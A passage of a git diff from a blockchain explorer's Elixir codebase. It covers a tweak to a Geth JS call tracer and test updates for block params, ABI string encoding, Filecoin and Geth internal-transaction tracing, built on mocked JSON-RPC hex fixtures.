valueBigInt: bigInt(stackValue.toString(10)) }; this.callStack.push(call); + this.descended = true; }, selfDestructOp(log, db) { @@ -207,14 +218,15 @@ const inputOffset = log.stack.peek(2 + stackOffset).valueOf(); const inputLength = log.stack.peek(3 + stackOffset).valueOf(); - const inputEnd = inputOffset + inputLength; + const inputEnd = Math.min(inputOffset + inputLength, log.memory.length()); + const input = (inputLength == 0 ? '0x' : toHex(log.memory.slice(inputOffset, inputEnd))); const call = { type: 'call', callType: op.toLowerCase(), from: toHex(log.contract.getAddress()), to: toHex(to), - input: toHex(log.memory.slice(inputOffset, inputEnd)), + input: input, outputOffset: log.stack.peek(4 + stackOffset).valueOf(), outputLength: log.stack.peek(5 + stackOffset).valueOf() }; @@ -236,6 +248,7 @@ } this.callStack.push(call); + this.descended = true; }, revertOp() { diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/block_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/block_test.exs index 23e1e442c5bc..47f01c803b24 100644 --- a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/block_test.exs +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/block_test.exs @@ -6,7 +6,7 @@ defmodule EthereumJSONRPC.BlockTest do alias EthereumJSONRPC.Block describe "elixir_to_params/1" do - test "sets totalDifficuly to nil if it's empty" do + test "sets default values for params (incl. nil)" do result = Block.elixir_to_params(%{ "difficulty" => 17_561_410_778, @@ -32,28 +32,65 @@ defmodule EthereumJSONRPC.BlockTest do "uncles" => [] }) - assert result == %{ - difficulty: 17_561_410_778, - extra_data: "0x476574682f4c5649562f76312e302e302f6c696e75782f676f312e342e32", - gas_limit: 5000, - gas_used: 0, - hash: "0x4d9423080290a650eaf6db19c87c76dff83d1b4ab64aefe6e5c5aa2d1f4b6623", - logs_bloom: - "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - mix_hash: "0xbbb93d610b2b0296a59f18474ac3d6086a9902aa7ca4b9a306692f7c3d496fdf", - miner_hash: "0xbb7b8287f3f0a933474a79eae42cbca977791171", - nonce: 5_539_500_215_739_777_653, - number: 59, - parent_hash: "0xcd5b5c4cecd7f18a13fe974255badffd58e737dc67596d56bc01f063dd282e9e", - receipts_root: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - sha3_uncles: "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", - size: 542, - state_root: "0x6fd0a5d82ca77d9f38c3ebbde11b11d304a5fcf3854f291df64395ab38ed43ba", - timestamp: Timex.parse!("2015-07-30T15:32:07Z", "{ISO:Extended:Z}"), - total_difficulty: nil, - transactions_root: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - uncles: [] - } + assert result == + %{ + difficulty: 17_561_410_778, + extra_data: "0x476574682f4c5649562f76312e302e302f6c696e75782f676f312e342e32", + gas_limit: 5000, + gas_used: 0, + hash: "0x4d9423080290a650eaf6db19c87c76dff83d1b4ab64aefe6e5c5aa2d1f4b6623", + logs_bloom: + "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + mix_hash: "0xbbb93d610b2b0296a59f18474ac3d6086a9902aa7ca4b9a306692f7c3d496fdf", + miner_hash: "0xbb7b8287f3f0a933474a79eae42cbca977791171", + nonce: 5_539_500_215_739_777_653, + number: 59, + parent_hash: "0xcd5b5c4cecd7f18a13fe974255badffd58e737dc67596d56bc01f063dd282e9e", + receipts_root: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + sha3_uncles: "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + size: 542, + state_root: "0x6fd0a5d82ca77d9f38c3ebbde11b11d304a5fcf3854f291df64395ab38ed43ba", + timestamp: Timex.parse!("2015-07-30T15:32:07Z", "{ISO:Extended:Z}"), + total_difficulty: nil, + transactions_root: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + uncles: [] + } + |> Map.merge(chain_type_fields()) + end + + case Application.compile_env(:explorer, :chain_type) do + :rsk -> + defp chain_type_fields, + do: %{ + bitcoin_merged_mining_coinbase_transaction: nil, + bitcoin_merged_mining_header: nil, + bitcoin_merged_mining_merkle_proof: nil, + hash_for_merged_mining: nil, + minimum_gas_price: nil + } + + :ethereum -> + defp chain_type_fields, + do: %{ + withdrawals_root: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + blob_gas_used: 0, + excess_blob_gas: 0 + } + + :arbitrum -> + defp chain_type_fields, + do: %{ + send_root: nil, + send_count: nil, + l1_block_number: nil + } + + :zilliqa -> + defp chain_type_fields, + do: %{zilliqa_view: nil} + + _ -> + defp chain_type_fields, do: %{} end end @@ -62,4 +99,14 @@ defmodule EthereumJSONRPC.BlockTest do assert Block.elixir_to_transactions(%{}) == [] end end + + describe "elixir_to_withdrawals/1" do + test "converts to empty list if there is no withdrawals key" do + assert Block.elixir_to_withdrawals(%{}) == [] + end + + test "converts to empty list if withdrawals is nil" do + assert Block.elixir_to_withdrawals(%{withdrawals: nil}) == [] + end + end end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/contract_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/contract_test.exs index ef2f58ed4a37..76100d469b3c 100644 --- a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/contract_test.exs +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/contract_test.exs @@ -5,6 +5,8 @@ defmodule EthereumJSONRPC.ContractTest do import Mox + setup :verify_on_exit! + describe "execute_contract_functions/3" do test "executes the functions with and without the block_number, returns results in order" do json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/encoder_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/encoder_test.exs index 38f87e08af4c..7539b8e582ba 100644 --- a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/encoder_test.exs +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/encoder_test.exs @@ -27,6 +27,38 @@ defmodule EthereumJSONRPC.EncoderTest do "0x9507d39a000000000000000000000000000000000000000000000000000000000000000a" end + test "generates the correct encoding with string argument" do + function_selector = %ABI.FunctionSelector{ + function: "isNewsletterCoverFullyClaimed", + input_names: ["newsletterId"], + inputs_indexed: nil, + return_names: [""], + returns: [:bool], + state_mutability: :view, + type: :function, + types: [:string] + } + + assert Encoder.encode_function_call(function_selector, ["6564f5623e2a9f0001cb7fee"]) == + "0xa07a712d000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000183635363466353632336532613966303030316362376665650000000000000000" + end + + test "generates the correct encoding with string started with 0x" do + function_selector = %ABI.FunctionSelector{ + function: "isNewsletterCoverFullyClaimed", + input_names: ["newsletterId"], + inputs_indexed: nil, + return_names: [""], + returns: [:bool], + state_mutability: :view, + type: :function, + types: [:string] + } + + assert Encoder.encode_function_call(function_selector, ["0x123"]) == + "0xa07a712d000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000053078313233000000000000000000000000000000000000000000000000000000" + end + test "generates the correct encoding with addresses arguments" do function_selector = %ABI.FunctionSelector{ function: "tokens", diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/parity/fetched_beneficiaries_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/fetched_beneficiaries_test.exs similarity index 98% rename from apps/ethereum_jsonrpc/test/ethereum_jsonrpc/parity/fetched_beneficiaries_test.exs rename to apps/ethereum_jsonrpc/test/ethereum_jsonrpc/fetched_beneficiaries_test.exs index 1bc4e90f3376..b2450f2d6d33 100644 --- a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/parity/fetched_beneficiaries_test.exs +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/fetched_beneficiaries_test.exs @@ -1,8 +1,8 @@ -defmodule EthereumJSONRPC.Parity.FetchedBeneficiariesTest do +defmodule EthereumJSONRPC.FetchedBeneficiariesTest do use ExUnit.Case, async: true alias EthereumJSONRPC - alias EthereumJSONRPC.Parity.FetchedBeneficiaries + alias EthereumJSONRPC.FetchedBeneficiaries describe "from_responses/2" do test "when block is not found" do diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/filecoin_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/filecoin_test.exs new file mode 100644 index 000000000000..122c428a8f97 --- /dev/null +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/filecoin_test.exs @@ -0,0 +1,200 @@ +defmodule EthereumJSONRPC.FilecoinTest do + use EthereumJSONRPC.Case, async: false + + import Mox + + alias EthereumJSONRPC.Filecoin + + setup :verify_on_exit! + + describe "fetch_block_internal_transactions/2" do + setup do + initial_env = Application.get_all_env(:ethereum_jsonrpc) + old_env = Application.get_env(:explorer, :chain_type) + + Application.put_env(:explorer, :chain_type, :filecoin) + + on_exit(fn -> + Application.put_all_env([{:ethereum_jsonrpc, initial_env}]) + Application.put_env(:explorer, :chain_type, old_env) + end) + + EthereumJSONRPC.Case.Filecoin.Mox.setup() + end + + setup :verify_on_exit! + + test "is supported", %{json_rpc_named_arguments: json_rpc_named_arguments} do + block_number = 3_663_376 + block_quantity = EthereumJSONRPC.integer_to_quantity(block_number) + + expect(EthereumJSONRPC.Mox, :json_rpc, fn [%{id: id, params: [^block_quantity]}], _ -> + {:ok, + [ + %{ + id: id, + result: [ + %{ + "type" => "call", + "subtraces" => 0, + "traceAddress" => [], + "action" => %{ + "callType" => "call", + "from" => "0xff0000000000000000000000000000000021cc23", + "to" => "0xff000000000000000000000000000000001a34e5", + "gas" => "0x1891a7d", + "value" => "0x0", + "input" => + "0x868e10c400000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000051000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000f2850d8182004081820d58c0960ee115a7a4b6f2fd36a83da26c608d49e4160a3737655d0f637b81be81b018539809d35519b0b75ca06304b3b4d40c810e50b954e82c5119a8b4a64c3e762a7ae8a2d465d1cd5bf096c87c56ab0da879568378e5a2368c902eea9898cf1e2a1974ddb479ec6257b69aca7734d3b3e1e70428c77f9e528ffcb3dc3f050f0193c2cc005927a765c39a4931d67fb29aaba6e99f2c7d2566b98fdbf30d6e15a2bbd63b8fa059cfad231ccba1d8964542b50419eaad4bc442d3a1dc1f41941944c11a0037e5f45820d41114bb6abbf966c2528f5705447a53ee37b7055cd4478503ea5eaf1fe165c60000000000000000000000000000" + }, + "result" => %{ + "gasUsed" => "0x14696c1", + "output" => + "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000" + }, + "blockHash" => "0xbeef70ac3db42f10dd1eb03f5f0640557acd72db61357cf3c4f47945d8beab79", + "blockNumber" => 3_663_376, + "transactionHash" => "0xf37d8b8bf67df3ddaa264e22322d2b092e390ed33f1ab14c8a136b2767979254", + "transactionPosition" => 1 + }, + %{ + "type" => "call", + "subtraces" => 0, + "traceAddress" => [ + 1 + ], + "action" => %{ + "callType" => "call", + "from" => "0xff000000000000000000000000000000002c2c61", + "to" => "0xff00000000000000000000000000000000000004", + "gas" => "0x2c6aae6", + "value" => "0x0", + "input" => + "0x868e10c40000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000" + }, + "result" => %{ + "gasUsed" => "0x105fb2", + "output" => + "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000051000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000578449007d2903b8000000004a000190f76c1adff180004c00907e2dd41a18e7c7a7f2bd82581a0001916cb98a2c3dfb67a389a588fb0e593f762dd6c9195851235601fba7e16707ee65746d4671e80aa2bb15bc7d6ebe3b000000000000000000" + }, + "blockHash" => "0xbeef70ac3db42f10dd1eb03f5f0640557acd72db61357cf3c4f47945d8beab79", + "blockNumber" => 3_663_376, + "transactionHash" => "0xbc62a61e0be0e8f6ae09e21ad10f6d79c9a8b8ebc46f8ce076dc0dbe1d6ed4a9", + "transactionPosition" => 21 + } + ] + } + ]} + end) + + assert {:ok, + [ + %{ + block_number: ^block_number, + transaction_index: 21, + transaction_hash: "0xbc62a61e0be0e8f6ae09e21ad10f6d79c9a8b8ebc46f8ce076dc0dbe1d6ed4a9", + index: 0, + trace_address: [1], + type: "call", + call_type: "call", + from_address_hash: "0xff000000000000000000000000000000002c2c61", + to_address_hash: "0xff00000000000000000000000000000000000004", + gas: 46_574_310, + gas_used: 1_073_074, + input: + "0x868e10c40000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", + output: + "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000051000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000578449007d2903b8000000004a000190f76c1adff180004c00907e2dd41a18e7c7a7f2bd82581a0001916cb98a2c3dfb67a389a588fb0e593f762dd6c9195851235601fba7e16707ee65746d4671e80aa2bb15bc7d6ebe3b000000000000000000", + value: 0 + }, + %{ + block_number: ^block_number, + transaction_index: 1, + transaction_hash: "0xf37d8b8bf67df3ddaa264e22322d2b092e390ed33f1ab14c8a136b2767979254", + index: 0, + trace_address: [], + type: "call", + call_type: "call", + from_address_hash: "0xff0000000000000000000000000000000021cc23", + to_address_hash: "0xff000000000000000000000000000000001a34e5", + gas: 25_762_429, + gas_used: 21_403_329, + input: + "0x868e10c400000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000051000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000f2850d8182004081820d58c0960ee115a7a4b6f2fd36a83da26c608d49e4160a3737655d0f637b81be81b018539809d35519b0b75ca06304b3b4d40c810e50b954e82c5119a8b4a64c3e762a7ae8a2d465d1cd5bf096c87c56ab0da879568378e5a2368c902eea9898cf1e2a1974ddb479ec6257b69aca7734d3b3e1e70428c77f9e528ffcb3dc3f050f0193c2cc005927a765c39a4931d67fb29aaba6e99f2c7d2566b98fdbf30d6e15a2bbd63b8fa059cfad231ccba1d8964542b50419eaad4bc442d3a1dc1f41941944c11a0037e5f45820d41114bb6abbf966c2528f5705447a53ee37b7055cd4478503ea5eaf1fe165c60000000000000000000000000000", + output: + "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", + value: 0 + } + ]} = + Filecoin.fetch_block_internal_transactions( + [ + block_number + ], + json_rpc_named_arguments + ) + end + + test "parses smart-contract creation", %{json_rpc_named_arguments: json_rpc_named_arguments} do + block_number = 3_663_377 + block_quantity = EthereumJSONRPC.integer_to_quantity(block_number) + + expect(EthereumJSONRPC.Mox, :json_rpc, fn [%{id: id, params: [^block_quantity]}], _ -> + {:ok, + [ + %{ + id: id, + result: [ + %{ + "type" => "create", + "subtraces" => 0, + "traceAddress" => [ + 0 + ], + "action" => %{ + "from" => "0xff00000000000000000000000000000000000004", + "gas" => "0x53cf101", + "value" => "0x0", + "init" => "0xfe" + }, + "result" => %{ + "address" => "0xff000000000000000000000000000000002d44e6", + "gasUsed" => "0x1be32fc", + "code" => "0xfe" + }, + "blockHash" => "0xbeef70ac3db42f10dd1eb03f5f0640557acd72db61357cf3c4f47945d8beab79", + "blockNumber" => 3_663_377, + "transactionHash" => "0x86ccda9dc76bd37c7201a6da1e10260bf984590efc6b221635c8dd33cc520067", + "transactionPosition" => 18 + } + ] + } + ]} + end) + + assert {:ok, + [ + %{ + block_number: ^block_number, + transaction_index: 18, + transaction_hash: "0x86ccda9dc76bd37c7201a6da1e10260bf984590efc6b221635c8dd33cc520067", + index: 0, + trace_address: [0], + type: "create", + from_address_hash: "0xff00000000000000000000000000000000000004", + created_contract_address_hash: "0xff000000000000000000000000000000002d44e6", + gas: 87_879_937, + gas_used: 29_242_108, + init: "0xfe", + created_contract_code: "0xfe", + value: 0 + } + ]} = + Filecoin.fetch_block_internal_transactions( + [ + block_number + ], + json_rpc_named_arguments + ) + end + end +end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/geth/call_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/geth/call_test.exs index f4a97c07dec4..686ba4f13a1d 100644 --- a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/geth/call_test.exs +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/geth/call_test.exs @@ -41,7 +41,8 @@ defmodule EthereumJSONRPC.Geth.CallTest do transaction_hash: "0xbc38745b826f058ed2f6c93fa5b145323857f06bbb5230b6a6a50e09e0915857", transaction_index: 0, type: "call", - value: 0 + value: 0, + error: "execution reverted" } end end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/geth/tracer_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/geth/tracer_test.exs new file mode 100644 index 000000000000..f2a8da987e2b --- /dev/null +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/geth/tracer_test.exs @@ -0,0 +1,53 @@ +defmodule EthereumJSONRPC.Geth.TracerTest do + use EthereumJSONRPC.Case, async: false + + alias EthereumJSONRPC.Geth + alias EthereumJSONRPC.Geth.{Calls, Tracer} + + describe "replay/3" do + test "same as callTracer" do + struct_logs = File.read!(File.cwd!() <> "/test/support/fixture/geth/trace/struct_logger.json") |> Jason.decode!() + + transaction = "0xa0a5c30c5c5ec22b3346e0ae5ce09f8f41faf54f68a2a113eb15e363af90e9ab" + + sl_calls = + Tracer.replay(struct_logs["result"], struct_logs["receipt"], struct_logs["tx"]) + |> Stream.with_index() + |> Enum.map(fn {trace, index} -> + Map.merge(trace, %{ + "blockNumber" => 0, + "index" => index, + "transactionIndex" => 0, + "transactionHash" => transaction + }) + end) + |> Calls.to_internal_transactions_params() + + init_tracer = Application.get_env(:ethereum_jsonrpc, Geth, :tracer) + Application.put_env(:ethereum_jsonrpc, Geth, tracer: "call_tracer") + + calls = + File.read!(File.cwd!() <> "/test/support/fixture/geth/trace/calltracer.json") + |> Jason.decode!() + |> Map.get("result") + + ct_calls = + calls + |> Geth.prepare_calls() + |> Stream.with_index() + |> Enum.map(fn {trace, index} -> + Map.merge(trace, %{ + "blockNumber" => 0, + "index" => index, + "transactionIndex" => 0, + "transactionHash" => transaction + }) + end) + |> Calls.to_internal_transactions_params() + + assert sl_calls == ct_calls + + Application.put_env(:ethereum_jsonrpc, Geth, tracer: init_tracer) + end + end +end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/geth_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/geth_test.exs index 9334fd23e2e5..6617bbc2423a 100644 --- a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/geth_test.exs +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/geth_test.exs @@ -5,11 +5,13 @@ defmodule EthereumJSONRPC.GethTest do alias EthereumJSONRPC.Geth - @moduletag :no_parity + setup :verify_on_exit! describe "fetch_internal_transactions/2" do # Infura Mainnet does not support debug_traceTransaction, so this cannot be tested expect in Mox setup do + initial_env = Application.get_all_env(:ethereum_jsonrpc) + on_exit(fn -> Application.put_all_env([{:ethereum_jsonrpc, initial_env}]) end) EthereumJSONRPC.Case.Geth.Mox.setup() end @@ -22,7 +24,7 @@ defmodule EthereumJSONRPC.GethTest do transaction_hash = "0x32b17f27ddb546eab3c4c33f31eb22c1cb992d4ccc50dae26922805b717efe5c" tracer = File.read!("priv/js/ethereum_jsonrpc/geth/debug_traceTransaction/tracer.js") - expect(EthereumJSONRPC.Mox, :json_rpc, fn [%{id: id, params: [^transaction_hash, %{tracer: ^tracer}]}], _ -> + expect(EthereumJSONRPC.Mox, :json_rpc, fn [%{id: id, params: [^transaction_hash, %{"tracer" => ^tracer}]}], _ -> {:ok, [ %{ @@ -45,6 +47,8 @@ defmodule EthereumJSONRPC.GethTest do ]} end) + Application.put_env(:ethereum_jsonrpc, Geth, tracer: "js", debug_trace_timeout: "5s") + assert {:ok, [ %{ @@ -75,11 +79,804 @@ defmodule EthereumJSONRPC.GethTest do json_rpc_named_arguments ) end + + test "call_tracer contract calls results are the same as js tracer", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + transaction_hash = "0xb342cafc6ac552c3be2090561453204c8784caf025ac8267320834e4cd163d96" + block_number = 3_287_375 + transaction_index = 13 + + transaction_params = %{ + block_number: block_number, + transaction_index: transaction_index, + hash_data: transaction_hash + } + + tracer = File.read!("priv/js/ethereum_jsonrpc/geth/debug_traceTransaction/tracer.js") + + expect(EthereumJSONRPC.Mox, :json_rpc, 1, fn + [%{id: id, params: [^transaction_hash, %{"tracer" => "callTracer"}]}], _ -> + {:ok, + [ + %{ + id: id, + result: %{ + "calls" => [ + %{ + "calls" => [ + %{ + "from" => "0x88e6a0c2ddd26feeb64f039a2c41296fcb3f5640", + "gas" => "0x12816", + "gasUsed" => "0x229e", + "input" => + "0xa9059cbb0000000000000000000000009507c04b10486547584c37bcbd931b2a4fee9a4100000000000000000000000000000000000000000000000322a0aedb1fe2c7e6", + "output" => "0x", + "to" => "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2", + "type" => "CALL", + "value" => "0x0" + }, + %{ + "calls" => [ + %{ + "from" => "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48", + "gas" => "0xfbb8", + "gasUsed" => "0x211", + "input" => "0x70a0823100000000000000000000000088e6a0c2ddd26feeb64f039a2c41296fcb3f5640", + "output" => "0x", + "to" => "0xa2327a938febf5fec13bacfb16ae10ecbc4cbdcf", + "type" => "DELEGATECALL" + } + ], + "from" => "0x88e6a0c2ddd26feeb64f039a2c41296fcb3f5640", + "gas" => "0x1029c", + "gasUsed" => "0x523", + "input" => "0x70a0823100000000000000000000000088e6a0c2ddd26feeb64f039a2c41296fcb3f5640", + "output" => "0x", + "to" => "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48", + "type" => "STATICCALL" + }, + %{ + "calls" => [ + %{ + "calls" => [ + %{ + "from" => "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48", + "gas" => "0xe3e3", + "gasUsed" => "0x259c", + "input" => + "0xa9059cbb00000000000000000000000088e6a0c2ddd26feeb64f039a2c41296fcb3f564000000000000000000000000000000000000000000000000000000014e53ad37c", + "output" => "0x", + "to" => "0xa2327a938febf5fec13bacfb16ae10ecbc4cbdcf", + "type" => "DELEGATECALL" + } + ], + "from" => "0x9507c04b10486547584c37bcbd931b2a4fee9a41", + "gas" => "0xea6a", + "gasUsed" => "0x28b1", + "input" => + "0xa9059cbb00000000000000000000000088e6a0c2ddd26feeb64f039a2c41296fcb3f564000000000000000000000000000000000000000000000000000000014e53ad37c", + "output" => "0x", + "to" => "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48", + "type" => "CALL", + "value" => "0x0" + } + ], + "from" => "0x88e6a0c2ddd26feeb64f039a2c41296fcb3f5640", + "gas" => "0xfa71", + "gasUsed" => "0x3627", + "input" => + "0xfa461e3300000000000000000000000000000000000000000000000000000014e53ad37cfffffffffffffffffffffffffffffffffffffffffffffffcdd5f5124e01d381a000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc200000000000000000000000000000000000000000000000000000000000001f400000000000000000000000000000000000000000000000000000014e53ad37c00000000000000000000000000000000000000000000000322a0aedb1fe2c7e600000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000000", + "output" => "0x", + "to" => "0x9507c04b10486547584c37bcbd931b2a4fee9a41", + "type" => "CALL", + "value" => "0x0" + }, + %{ + "calls" => [ + %{ + "from" => "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48", + "gas" => "0xbcc4", + "gasUsed" => "0x211", + "input" => "0x70a0823100000000000000000000000088e6a0c2ddd26feeb64f039a2c41296fcb3f5640", + "output" => "0x", + "to" => "0xa2327a938febf5fec13bacfb16ae10ecbc4cbdcf", + "type" => "DELEGATECALL" + } + ], + "from" => "0x88e6a0c2ddd26feeb64f039a2c41296fcb3f5640", + "gas" => "0xc2a9", + "gasUsed" => "0x523", + "input" => "0x70a0823100000000000000000000000088e6a0c2ddd26feeb64f039a2c41296fcb3f5640", + "output" => "0x", + "to" => "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48", + "type" => "STATICCALL" + } + ], + "from" => "0x9507c04b10486547584c37bcbd931b2a4fee9a41", + "gas" => "0x185b2", + "gasUsed" => "0xd38e", + "input" => + "0x128acb080000000000000000000000009507c04b10486547584c37bcbd931b2a4fee9a410000000000000000000000000000000000000000000000000000000000000001fffffffffffffffffffffffffffffffffffffffffffffffcdd5f5124e01d381a00000000000000000000000000000000000000000000000000000001000276a400000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc200000000000000000000000000000000000000000000000000000000000001f400000000000000000000000000000000000000000000000000000014e53ad37c00000000000000000000000000000000000000000000000322a0aedb1fe2c7e600000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000000", + "output" => "0x", + "to" => "0x88e6a0c2ddd26feeb64f039a2c41296fcb3f5640", + "type" => "CALL", + "value" => "0x0" + } + ], + "from" => "0x56d0c33e5e8cb6390cebd7369d2fe7e7870a04e0", + "gas" => "0x1a8c6", + "gasUsed" => "0xf1f6", + "input" => + "0x33000000000000000014e53ad37c0000000322a0aedb1fe2c7e6010201f4ff010088e6a0c2ddd26feeb64f039a2c41296fcb3f5640a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48c02aaa39b223fe8d0a0e5c4f27ead9083c756cc203", + "output" => "0x", + "time" => "48.391824ms", + "to" => "0x9507c04b10486547584c37bcbd931b2a4fee9a41", + "type" => "CALL", + "value" => "0xfa72c6" + } + } + ]} + end) + + expect(EthereumJSONRPC.Mox, :json_rpc, 1, fn + [%{id: id, params: [^transaction_hash, %{"tracer" => ^tracer}]}], _ -> + {:ok, + [ + %{ + id: id, + result: [ + %{ + "callType" => "call", + "from" => "0x56d0c33e5e8cb6390cebd7369d2fe7e7870a04e0", + "gas" => "0x1a8c6", + "gasUsed" => "0xf1f6", + "input" => + "0x33000000000000000014e53ad37c0000000322a0aedb1fe2c7e6010201f4ff010088e6a0c2ddd26feeb64f039a2c41296fcb3f5640a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48c02aaa39b223fe8d0a0e5c4f27ead9083c756cc203", + "output" => "0x", + "to" => "0x9507c04b10486547584c37bcbd931b2a4fee9a41", + "traceAddress" => [], + "type" => "call", + "value" => "0xfa72c6" + }, + %{ + "callType" => "call", + "from" => "0x9507c04b10486547584c37bcbd931b2a4fee9a41", + "gas" => "0x185b2", + "gasUsed" => "0xd38e", + "input" => + "0x128acb080000000000000000000000009507c04b10486547584c37bcbd931b2a4fee9a410000000000000000000000000000000000000000000000000000000000000001fffffffffffffffffffffffffffffffffffffffffffffffcdd5f5124e01d381a00000000000000000000000000000000000000000000000000000001000276a400000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc200000000000000000000000000000000000000000000000000000000000001f400000000000000000000000000000000000000000000000000000014e53ad37c00000000000000000000000000000000000000000000000322a0aedb1fe2c7e600000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000000", + "output" => "0x", + "to" => "0x88e6a0c2ddd26feeb64f039a2c41296fcb3f5640", + "traceAddress" => [0], + "type" => "call", + "value" => "0x0" + }, + %{ + "callType" => "call", + "from" => "0x88e6a0c2ddd26feeb64f039a2c41296fcb3f5640", + "gas" => "0x12816", + "gasUsed" => "0x229e", + "input" => + "0xa9059cbb0000000000000000000000009507c04b10486547584c37bcbd931b2a4fee9a4100000000000000000000000000000000000000000000000322a0aedb1fe2c7e6", + "output" => "0x", + "to" => "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2", + "traceAddress" => [0, 0], + "type" => "call", + "value" => "0x0" + }, + %{ + "callType" => "staticcall", + "from" => "0x88e6a0c2ddd26feeb64f039a2c41296fcb3f5640", + "gas" => "0x1029c", + "gasUsed" => "0x523", + "input" => 